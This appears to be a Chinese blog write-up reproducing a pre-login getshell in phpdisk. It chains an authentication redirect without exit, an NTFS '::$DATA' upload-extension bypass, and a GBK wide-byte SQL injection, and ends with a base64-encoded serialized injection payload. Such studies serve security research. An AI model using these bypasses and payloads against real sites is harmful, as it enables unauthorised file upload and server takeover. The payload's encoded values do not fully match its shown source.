0x00 前言
跟着同学复现了一波,前台Getshell
参考链接:
phpdisk前台Getshell(复现)
代码审计 xxxdisk前台Getshell
0x01 准备
选择的cms是phpdisk,在Windows平台的GBK版本上,挖掘到了一个无需登录的前台Getshell。
同学告诉我,在审计初,最好要看看该cms的路由和全局变量过滤情况
然后查看之后确实是存在文件dosafe.php,将所有sql注入的参数过滤了个遍。
0x02 漏洞成因
(1)从mydisk.php为权限判断未exit导致可以越权访问mydisk.php
(2)利用windows下的NTFS ADS流trick绕过文件名后缀限制
(3)通过phpdisk的版本iconv编码转化使用不当造成宽字节注入找到后台(已知漏洞)
0x03 文件上传漏洞
用户注册后尝试上传一个php文件,到服务器中查看该文件,会发现该文件被转成txt类型的文件
然后看看怎么绕过这个后缀限制,文件上传操作封装在函数upload_file()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27//phpdisk/includes/function/global.func.php
...
function upload_file($source, $target) {
if (function_exists('move_uploaded_file') && @move_uploaded_file($source, $target)) {
@chmod($target, 0666);
return $target;
} elseif (@copy($source, $target)) {
@chmod($target, 0666);
return $target;
} elseif (@is_readable($source)) {
if ($fp = @fopen($source,'rb')) {
@flock($fp,2);
$filedata = @fread($fp,@filesize($source));
@fclose($fp);
}
if ($fp = @fopen($target, 'wb')) {
@flock($fp, 2);
@fwrite($fp, $filedata);
@fclose($fp);
@chmod ($target, 0666);
return $target;
} else {
return false;
}
}
}
...
然後查看哪些地方調用了該函數,該函數調用有兩處,我們這次的漏洞在第一處,
位于phpdisk/modules/upload.inc.php1
2
3
4
5
6
7
8//代码第70行
...
$file_ext = get_real_ext($file_extension);
$dest_file = $file_real_path.$file_store_path.$file_real_name_store.$file_ext;
if(upload_file($file['tmp_name'],$dest_file)){
... ...
}
...
使用函数get_real_ext()来处理后缀1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18//phpdisk/includes/function/global.func.php
...
function get_real_ext($file_extension){
global $settings;
$file_extension = trim($file_extension);
if($file_extension){
$exts = explode(',',$settings['filter_extension']);
if(in_array($file_extension,$exts)){
$file_ext = '.'.$file_extension.'.txt';
}else{
$file_ext = '.'.$file_extension;
}
}else{
$file_ext = '.txt';
}
return $file_ext;
}
...
使用黑名单filter_extension对后缀名进行修改添加.txt
防止像php这样的恶意文件。
filter_extension位于:/admin/setting.inc.php/38行
此处绕过的方法,是我们控制文件名为:test.php::$data
,就可以绕过。
原理:
php在window的时候如果文件名为:文件名+::$DATA,此时会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持::$DATA之前的文件名。
0x04 权限绕过
关键代码mydisk.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
# Project: PHPDISK File Storage Solution
# This is NOT a freeware, use is subject to license terms.
#
# Site: http://www.phpdisk.com
#
# $Id: mydisk.php 25 2014-01-10 03:13:43Z along $
#
# Copyright (C) 2008-2014 PHPDisk Team. All Rights Reserved.
#
*/
include "includes/commons.inc.php";
phpdisk_core::user_login();
define('IN_MYDISK' ,true);
// fix firefox
if($item =='upload'){
$uid = (int)gpc('uid','GP',0);
$pd_is_activated = @$db->result_first("select is_activated from {$tpf}users where userid='$uid'");
}
... ...
查看phpdisk_core::user_login()
1
2
3
4
5
6
7
8...
public static function user_login(){
global $pd_uid,$pd_pwd;
if(!$pd_uid || !$pd_pwd){
header("Location: ".urr("account","action=login&ref=".$_SERVER['REQUEST_URI']));
}
}
...
这里认证没有通过仅仅只是302,并没有退出程序,当时不理解302为什么可以?
同学告诉我,302的话,就算没有在没有注册的情况下,程序检测到后,不会强制退出程序,而是继续执行mydisk.php接下来的代码
0x05 未授权上传
上传成功
0x06 宽字节注入
此程序分为两个版本utf-8与gbk版,所以难免会有一些编码转换的地方,所以也难免发生不小心没有注意的地方。
函数convert_str()提供编码转换的功能1
2
3
4
5
6
7
8
9
10
11
12
13//glbal.inc.php
...
function convert_str($in,$out,$str){
global $db;
$str = $db->escape($str);
if(function_exists("iconv")){
$str = iconv($in,$out,$str);
}elseif(function_exists("mb_convert_encoding")){
$str = mb_convert_encoding($str,$out,$in);
}
return $db->escape($str);
}
...
查看调用该函数的文件,此处利用ajax.php一次宽字节注入1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53//ajax.php
switch($action){
...
$data = trim(gpc('data','P',''));
if(strpos($data,',')!==false){
...
}
else{
$file = unserialize(base64_decode($data));
/*foreach($file as $k=>$v){
$file[$k] = $db->escape($file[$v]);
}*/
$file[file_id] = (int)$file[file_id];
$file[file_size] = (int)$file[file_size];
$file[file_description] = $db->escape(trim($file[file_description]));
$file[file_extension] = $db->escape(trim($file[file_extension]));
$file[file_name] = $db->escape(trim($file[file_name]));
$num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'");
if($num && $file[file_id]){
$tmp_ext = $file[file_extension] ? '.'.$file[file_extension] : '';
$msg = $file[file_name].$tmp_ext;
}else{
$report_status =0;
$report_arr = explode(',',$settings['report_word']);
if(count($report_arr)){
foreach($report_arr as $value){
if (strpos($file['file_name'],$value) !== false){
$report_status = 2;
}
}
}
$ins = array(
'yun_fid' => $file[file_id],
'file_name' => $file[file_name],
'file_key' => $file_key,
'file_extension' => $file[file_extension],
'file_mime' => 'application/octet-stream',
'file_description' => $file[file_description],
'file_size' => $file['file_size'],
'file_time' => $timestamp,
'is_checked' => $is_checked,
'in_share' => $in_share,
'report_status' => $report_status,
'userid' => $pd_uid,
'folder_id' => $folder_id ? $folder_id : -1,
'ip' => $onlineip,
);
$sql = "insert into {$tpf}files set ".$db->sql_array($ins).";";
$db->query_unbuffered(is_utf8() ? $sql : iconv('utf-8','gbk',$sql));
}
}
...
...
关键代码在:1
2$sql = "insert into {$tpf}files set ".$db->sql_array($ins).";";
$db->query_unbuffered(is_utf8() ? $sql : iconv('utf-8','gbk',$sql));
跟进函数sql_array()1
2
3
4
5
6
7
8function sql_array ($arr){
$ins = array();
reset($arr);
while(list($c, $v) = each($arr)){
$ins[] = ($v === NULL ? sprintf('`%s`=NULL', $c) : sprintf('`%s`=\'%s\'', $c, $v));
}
return implode(', ', $ins);
}
并且$ins=>$file = unserialize(base64_decode($data))=>$data = trim(gpc(‘data’,’P’,’’))
所以我们可以传入$data,来控制$ins的值
将我们的输入base64解码后,反序列化成数组对象,最后传入sql语句。1
$db->query_unbuffered(is_utf8() ? $sql : iconv('utf-8','gbk',$sql));
最后执行语句的时候存在一处编码转换,也是这里直接导致了注入。
汉字在utf下为三个字节,在gbk下为两个字节,故而当我们传入的单引号被转义后\’,该单引号将会连同前三个字节在GBK下,被解释为两个字符,使得单引号逃逸。
0x07 漏洞复现
(1)无权限下上传shell(刚才已上传过shell.php)
(2)上传成功后通过sql注入获取shell文件的位置。
需要获取文件位置,那么我们需要一个可以回显文件位置的地方,这里存在回显的地方,我们在页面上看,也就标签处可以回显,也就是file_description,故而构造payload为:1
2
3
4
$a=array("file_id"=>"17007","file_name"=>"od錦',`in_share`=1,`file_description`=(select x.a from (select concat(file_store_path,file_real_name)a from pd_files where file_extension=0x7068703a3a2464617461)x)#");
echo base64_encode(serialize($a));
即:1
YToyOntzOjc6ImZpbGVfaWQiO3M6NDoiMTAwMCI7czo5OiJmaWxlX25hbWUiO3M6MTYyOiK5/icsYGluX3NoYXJlYD0xLGBmaWxlX2Rlc2NyaXB0aW9uYD0oc2VsZWN0IHguYSBmcm9tIChzZWxlY3QgY29uY2F0KGZpbGVfc3RvcmVfcGF0aCxmaWxlX3JlYWxfbmFtZSlhIGZyb20gcGRfZmlsZXMgd2hlcmUgZmlsZV9leHRlbnNpb249MHg3MDY4NzAzYTNhMjQ2NDYxNzQ2MSl4KSMiO30=
不知道为什么这台电脑的数据库死活传不入数据库,但是复现的过程就是这样,可以参考参考链接的文章。